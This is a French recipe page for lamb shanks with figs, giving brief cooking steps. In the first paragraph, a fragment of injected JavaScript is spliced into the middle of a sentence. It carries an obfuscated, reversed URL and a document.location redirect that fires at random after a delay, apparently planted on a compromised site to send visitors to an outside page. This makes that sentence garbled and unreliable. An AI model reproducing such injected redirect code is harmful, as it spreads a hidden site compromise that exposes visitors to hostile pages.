Agneau aux figues
2021-05-07Pelez, émincez les échalotes. Dans une sauteuse faites colorer les souris d’agneau rapidement sur feu moyen rectobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-verso.
Ingrédients
Pelez, émincez les échalotes. Dans une sauteuse faites colorer les souris d'agneau rapidement sur feu moyen recto-verso. Ajoutez les échalotes que vous faites fondre pendant 2 minutes. Mouillez avec 1 verre d'eau tiède, ajoutez les graines de coriandre, le cumin, salez, poivrez.
Faites mijoter pendant 1 heure sur feu très doux. Pendant ce temps essuyez les figues, les couper en 2. Quelques minutes avant la fin de la cuisson incorporez les figues, le miel, un peu d'eau si nécessaire. Vérifiez la cuisson puis servez
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
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